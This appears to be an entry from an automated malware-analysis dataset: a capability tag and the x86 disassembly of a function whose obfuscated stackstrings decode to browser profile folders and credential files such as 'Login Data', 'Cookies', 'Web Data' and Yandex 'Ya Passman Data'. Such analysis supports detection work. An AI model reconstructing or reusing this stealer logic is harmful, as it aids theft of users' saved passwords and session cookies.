Function at 0x40fa57
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x40fe69
cmp word [esi], 0
je 0x40fe69
push esi
call fcn.0041fca7
add esp, 4
cmp word [esi + eax*2 - 2], 0x5c
jne 0x40fa97
push esi
call fcn.0041fca7
add esp, 4
xor ecx, ecx
mov word [esi + eax*2 - 2], cx
push ebx
push esi
call fcn.0041fca7
xor ecx, ecx
push 0x2e
push ecx
lea edx, [ebp - 0x182]
push edx
mov ebx, eax
mov dword [ebp - 0x194], 0x44005c
mov dword [ebp - 0x190], 0x660065
mov dword [ebp - 0x18c], 0x750061
mov dword [ebp - 0x188], 0x74006c
mov word [ebp - 0x184], cx
call fcn.0041fb27
push 0x2c
lea ecx, [ebp - 0x140]
push 0
push ecx
mov dword [ebp - 0x154], 0x50005c
mov dword [ebp - 0x150], 0x6f0072
mov dword [ebp - 0x14c], 0x690066
mov dword [ebp - 0x148], 0x65006c
mov dword [ebp - 0x144], 0x20
call fcn.0041fb27
xor ecx, ecx
add esp, 0x1c
xor eax, eax
mov dword [ebp - 0xd4], 0x47005c
mov dword [ebp - 0xd0], 0x650075
mov dword [ebp - 0xcc], 0x740073
mov dword [ebp - 0xc8], 0x500020
mov dword [ebp - 0xc4], 0x6f0072
mov dword [ebp - 0xc0], 0x690066
mov dword [ebp - 0xbc], 0x65006c
mov word [ebp - 0xb8], cx
mov dword [ebp - 0xb6], eax
mov dword [ebp - 0xb2], eax
mov dword [ebp - 0xae], eax
mov dword [ebp - 0xaa], eax
mov dword [ebp - 0xa6], eax
mov dword [ebp - 0xa2], eax
mov dword [ebp - 0x9e], eax
mov dword [ebp - 0x9a], eax
mov word [ebp - 0x96], ax
mov dword [ebp - 0x94], 0x59005c
mov dword [ebp - 0x90], 0x200061
mov dword [ebp - 0x8c], 0x610050
mov dword [ebp - 0x88], 0x730073
mov dword [ebp - 0x84], 0x61006d
mov dword [ebp - 0x80], 0x20006e
mov dword [ebp - 0x7c], 0x610044
mov dword [ebp - 0x78], 0x610074
mov word [ebp - 0x74], ax
mov dword [ebp - 0x72], eax
mov dword [ebp - 0x6e], eax
mov dword [ebp - 0x6a], eax
mov dword [ebp - 0x66], eax
mov dword [ebp - 0x62], eax
mov dword [ebp - 0x5e], eax
mov dword [ebp - 0x5a], eax
mov word [ebp - 0x56], ax
mov dword [ebp - 0x14], 0x43005c
mov dword [ebp - 0x10], 0x6f006f
mov dword [ebp - 0xc], 0x69006b
mov dword [ebp - 8], 0x730065
mov word [ebp - 4], ax
mov dword [ebp - 0x54], 0x4e005c
mov dword [ebp - 0x50], 0x740065
mov dword [ebp - 0x4c], 0x6f0077
mov dword [ebp - 0x48], 0x6b0072
mov word [ebp - 0x44], ax
mov dword [ebp - 0x42], eax
mov dword [ebp - 0x3e], eax
mov dword [ebp - 0x3a], eax
mov word [ebp - 0x36], ax
mov dword [ebp - 0x34], 0x57005c
mov dword [ebp - 0x30], 0x620065
mov dword [ebp - 0x2c], 0x440020
mov dword [ebp - 0x28], 0x740061
mov dword [ebp - 0x24], 0x61
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x114], 0x4c005c
mov dword [ebp - 0x110], 0x67006f
mov dword [ebp - 0x10c], 0x6e0069
mov dword [ebp - 0x108], 0x440020
mov dword [ebp - 0x104], 0x740061
mov dword [ebp - 0x100], 0x61
cmp eax, 0xb
jne 0x40fd12
lea edx, [ebp - 0x14]
mov dword [ebp + 0xc], edx
jmp 0x40fd28
cmp eax, 0xa
jne 0x40fd1f
lea eax, [ebp - 0x34]
mov dword [ebp + 0xc], eax
jmp 0x40fd28
lea ecx, [ebp - 0x114]
mov dword [ebp + 0xc], ecx
mov eax, dword [ebp + 0x10]
push edi
test eax, eax
jne 0x40fd38
lea edi, [ebp - 0x194]
jmp 0x40fd71
lea edx, [eax - 1]
cmp edx, 4
ja 0x40fd62
lea edi, [eax + 0x30]
lea eax, [ebp - 0x154]
push eax
call fcn.0041fca7
mov word [ebp + eax*2 - 0x154], di
add esp, 4
lea edi, [ebp - 0x154]
jmp 0x40fd71
cmp eax, 6
jne 0x40fe10
lea edi, [ebp - 0xd4]
push 0
push edi
push esi
call fcn.0041fe17
mov ecx, dword [ebp + 0xc]
push 0
push ecx
push esi
call fcn.0041fe17
mov edx, dword [ebp + 8]
push 0
push 0x15
push esi
push edx
call fcn.00418667
add esp, 0x28
test eax, eax
jne 0x40fe5d
mov eax, dword [ebp + 0xc]
push eax
lea ebx, [esi + ebx*2]
call fcn.0041fca7
mov edx, dword [ebp + 0xc]
lea ecx, [eax + eax + 2]
push ecx
push edx
push ebx
call fcn.0041faa7
mov eax, dword [ebp + 8]
push 0
push 0x15
push esi
push eax
call fcn.00418667
add esp, 0x20
test eax, eax
jne 0x40fe5d
mov eax, dword [ebp + 0x14]
test eax, eax
jne 0x40fe19
push edi
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
push edi
push ebx
call fcn.0041faa7
push 0
lea edx, [ebp - 0x94]
push edx
push esi
call fcn.0041fe17
mov eax, dword [ebp + 8]
push 0
push 0x15
push esi
push eax
call fcn.00418667
add esp, 0x2c
test eax, eax
jne 0x40fe5d
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
cmp eax, 0xb
jne 0x40fe10
push edi
call fcn.0041fca7
lea ecx, [eax + eax + 2]
push ecx
push edi
push ebx
call fcn.0041faa7
push 0
lea edx, [ebp - 0x54]
push edx
push esi
call fcn.0041fe17
mov eax, dword [ebp + 0xc]
push 0
push eax
push esi
call fcn.0041fe17
mov ecx, dword [ebp + 8]
push 0
push 0x15
push esi
push ecx
call fcn.00418667
add esp, 0x38
test eax, eax
je 0x40fe10
pop edi
pop ebx
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret